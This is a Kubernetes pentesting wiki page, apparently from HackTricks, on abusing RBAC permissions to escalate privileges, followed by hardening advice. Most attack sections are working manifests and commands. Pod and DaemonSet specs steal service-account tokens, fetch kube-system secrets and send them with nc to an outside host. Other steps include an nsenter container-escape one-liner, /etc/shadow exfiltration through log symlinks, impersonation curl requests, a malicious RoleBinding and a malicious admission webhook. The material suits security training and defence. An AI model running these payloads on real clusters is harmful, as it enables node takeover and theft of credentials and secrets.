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Here you can find some potentially dangerous Roles and ClusterRoles configurations.\ Remember that you can get all the supported resources with `kubectl api-resources` # **Privilege Escalation** Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**: * Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds * Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds * Be able to **read secrets** as the SAs tokens are stored as secrets * Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any) * A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod. ## **Access Any Resource or Verb** This privilege provides access to **any resource with any verb**. It is the most substantial privilege that a user can get, especially if this privilege is also a “ClusterRole.” If it’s a “ClusterRole,” than the user can access the resources of any namespace and own the cluster with that permission. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: api-resource-verbs-all rules: rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] ``` ## **Access Any Resource** Giving a user permission to **access any resource can be very risky**. But, **which verbs** allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster: * **resources: \["\*"] verbs: \["create"]** – This privilege can **create any resource** in the cluster, such as **pods**, roles, etc. An attacker might abuse it to **escalate privileges**. An example of this can be found in the **“Pods Creation” section**. * **resources: \["\*"] verbs: \["list"]** – The ability to list any resource can be used to **leak other users’ secrets** and might make it easier to **escalate privileges**. An example of this is located in the **“Listing secrets” section.** * **resources: \["\*"] verbs: \["get"]-** This privilege can be used to **get secrets from other service accounts**. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: api-resource-verbs-all rules: rules: - apiGroups: ["*"] resources: ["*"] verbs: ["create", "list", "get"] ``` ## Pod Create - Steal Token An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**. .png>) Here we have a default privileged account named _bootstrap-signer_ with permissions to list all secrets.  The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:  ```yaml apiVersion: v1 kind: Pod metadata: name: alpine namespace: kube-system spec: containers: - name: alpine image: alpine command: ["/bin/sh"] args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` In the previous image note how the _bootstrap-signer service is used in_ `serviceAccountname`_._ So just create the malicious pod and expect the secrets in port 6666: .png>) ## **Pod Create & Escape** The following definition gives all the privileges a container can have: * **Privileged access** (disabling protections and setting capabilities) * **Disable namespaces hostIPC and hostPid** that can help to escalate privileges * **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks * **Mount hosts / inside the container** {% code title="super_privs.yaml" %} ```yaml apiVersion: v1 kind: Pod metadata: name: ubuntu labels: app: ubuntu spec: # Uncomment and specify a specific node you want to debug # nodeName: containers: - image: ubuntu command: - "sleep" - "3600" # adjust this as needed -- use only as long as you need imagePullPolicy: IfNotPresent name: ubuntu securityContext: allowPrivilegeEscalation: true privileged: true #capabilities: # add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html runAsUser: 0 # run as root (or any other user) volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never # we want to be intentional about running this pod hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_ volumes: - name: host-volume hostPath: path: / ``` {% endcode %} Create the pod with: ```bash kubectl --token $token create -f mount_root.yaml ``` One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) and with some additions: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` Now that you can escape to the node check post-exploitation techniques in: {% content-ref url="../../../pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md" %} [attacking-kubernetes-from-inside-a-pod.md](../../../pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md) {% endcontent-ref %} ### Stealth You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template: * [**Privileged + hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged-+-hostpid) * [**Privileged only**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged) * [**hostPath**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#arbitrary-mounts) * [**hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostpid) * [**hostNetwork**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostnetwork) * [**hostIPC**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostipc) _You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)\_\_ ## Pod Create - Move to cloud If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\ Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance. For more information check: {% content-ref url="../kubernetes-access-to-other-clouds.md" %} [kubernetes-access-to-other-clouds.md](../kubernetes-access-to-other-clouds.md) {% endcontent-ref %} ## **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.** Suppose we have the **permission to create a Daemonset** and we create the following YAML file. This YAML file is configured to do the same steps we mentioned in the “create pods” section. ```yaml apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: kube-system spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ["/bin/sh"] args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] ``` In line 6 you can find the object “spec” and children objects such as “**template**” in line 10. These objects hold the configuration for the task we wish to accomplish. Another thing to notice is the "**serviceAccountName**" in line 15 and the “**containers**” object in line 18. This is the part that relates to creating our malicious container. Kubernetes API documentation indicates that the “**PodTemplateSpec**” endpoint has the option to create containers. And, as you can see: **deployment,** **daemonsets, statefulsets, replicationcontrollers, replicasets, jobs and cronjobs can all be used to create pods**:  **So, the privilege to create or update tasks can also be abused for privilege escalation in the cluster.** ## **Pods Exec** **Pod exec** is an option in kubernetes used for **running commands in a shell inside a pod**. This privilege is meant for administrators who want to **access containers and run commands**. It’s just like creating a SSH session for the container. If we have this privilege, we actually get the ability **to take control of all the pods**. In order to do that, we needs to use the following command: ```bash kubectl exec -it -n -- sh ``` Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](./#pod-creation) to try to escalate privileges. ## port-forward This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod: ``` kubectl port-forward pod/mypod 5000:5000 ``` ## **Hosts Writable /var/log/ Escape** As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)\*\*,\*\*If you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\ This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs `), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\ The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**. Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways: * Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` * If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin data/ dev/ etc/ home/ init lib [...] ``` **A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) ### Bypassing readOnly protection If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw: ```bash mount -o rw,remount /hostlogs/ ``` ### Bypassing hostPath readOnly protection As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access: ```yaml apiVersion: v1 kind: PersistentVolume metadata: name: task-pv-volume-vol labels: type: local spec: storageClassName: manual capacity: storage: 10Gi accessModes: - ReadWriteOnce hostPath: path: "/var/log" --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: task-pv-claim-vol spec: storageClassName: manual accessModes: - ReadWriteOnce resources: requests: storage: 3Gi --- apiVersion: v1 kind: Pod metadata: name: task-pv-pod spec: volumes: - name: task-pv-storage-vol persistentVolumeClaim: claimName: task-pv-claim-vol containers: - name: task-pv-container image: ubuntu:latest command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` ## **Impersonating privileged accounts** With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account. In this example, the service account _**sa-imper**_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users.   It's possible to **list all secrets** with `--as=null --as-group=system:master` attributes:  **It's also possible to perform the same action via the API REST endpoint:** ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ -H "Impersonate-User: null" \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` ## **Listing Secrets** The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster – including the admin keys**. The secret key is a JWT token encoded in base64.  An attacker that gains **access to \_list secrets**\_ in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ```  ## **Reading a secret – brute-forcing token IDs** An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above.   Although the attacker doesn’t know the secret’s name, there are default service accounts that can be enlisted.  Each service account has an associated secret with a static (non-changing) prefix and a postfix of a random five-character string token at the end.  The random token structure is 5-character string built from alphanumeric (lower letters and digits) characters. **But it doesn’t contain all the letters and digits.** When looking inside the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83), it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 (a-z and 0-9)   This means that there are 275 = 14,348,907 possibilities for a token. An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges. # Built-in Privileged Escalation Prevention Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation. Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) for that: “The RBAC API **prevents users from escalating privileges** by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use. A user can only **create/update a role if they already have all the permissions contained in the role**, at the same scope as the role (cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role)” Let’s see an example for such prevention. A service account named _sa7_ is in a RoleBinding _edit-role-rolebinding_. This RoleBinding object has a role named _edit-role_ that has **full permissions rules** on roles. Theoretically, it means that the service account can **edit** **any role** in the _default_ namespace.   There is also an existing role named _list-pods_. Anyone with this role can list all the pods on the _default_ namespace. The user _sa7_ should have permissions to edit any roles, so let’s see what happens when it tries to add the “secrets” resource to the role’s resources.  After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” (Figure 31), because although our _sa7_ user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.  ## **Get & Patch RoleBindings/ClusterRoleBindings** {% hint style="danger" %} **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** {% endhint %} The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.** The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.  Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:** ```javascript { "apiVersion": "rbac.authorization.k8s.io/v1", "kind": "RoleBinding", "metadata": { "name": "malicious-rolebinding", "namespaces": "default" }, "roleRef": { "apiGroup": "*", "kind": "ClusterRole", "name": "admin" }, "subjects": [ { "kind": "ServiceAccount", "name": "compromised-svc" "namespace": "default" } ] } ``` The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16). Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command: ```bash curl -k -v -X POST -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ https://:/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \ -d @malicious-RoleBinging.json ``` After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this: ```bash curl -k -v -X POST -H "Authorization: Bearer "\ -H "Content-Type: application/json" https://:/api/v1/namespaces/kube-system/secret ``` # Other Attacks ## S**idecar proxy app** By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod. ### Create a sidecar proxy app Create your .yaml ```bash kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' ``` Edit your .yaml and add the uncomment lines: ```yaml #apiVersion: v1 #kind: Pod #metadata: # name: security-context-demo #spec: # securityContext: # runAsUser: 1000 # runAsGroup: 3000 # fsGroup: 2000 # volumes: # - name: sec-ctx-vol # emptyDir: {} # containers: # - name: sec-ctx-demo # image: busybox command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ] securityContext: capabilities: add: ["NET_ADMIN"] # volumeMounts: # - name: sec-ctx-vol # mountPath: /data/demo # securityContext: # allowPrivilegeEscalation: true ``` See the logs of the proxy: ```bash kubectl logs app -C proxy ``` More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ## Malicious Admission Controller An admission controller is a piece of code that **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**.  (1) (1) (1) (1) (1).png>) If an attacker somehow manages to **inject a Mutationg Adminssion Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster. Example from [https://blog.rewanthtammana.com/creating-malicious-admission-controllers](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` Wait until the webhook server is ready. Check the status: ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ```  Once we have our malicious mutating webhook running, let's deploy a new pod. ```bash kubectl run nginx --image nginx kubectl get po -w ``` Wait again, until you see the change in pod status. Now, you can see `ErrImagePull` error. Check the image name with either of the queries. ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ```  As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!? ### Technicalities We will unfold what just happened. The `./deploy.sh` script that you executed, created a mutating webhook admission controller. The below lines in the mutating webhook admission controller are responsible for the above results. ``` patches = append(patches, patchOperation{ Op: "replace", Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. # Best Practices ## **Prevent service account token automounting on pods** When a pod is being created, it automatically mounts a service account (the default is default service account in the same namespace). Not every pod needs the ability to utilize the API from within itself. From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods. On a service account it should be added like this:\\  It is also possible to use it on the pod:\\  ## **Grant specific users to RoleBindings\ClusterRoleBindings** When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups. ## **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings** When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security. ## **Use automated tools** {% embed url="https://github.com/cyberark/KubiScan" %} {% embed url="https://github.com/aquasecurity/kube-hunter" %} {% embed url="https://github.com/aquasecurity/kube-bench" %} # **References** {% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %} {% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1" %} ***

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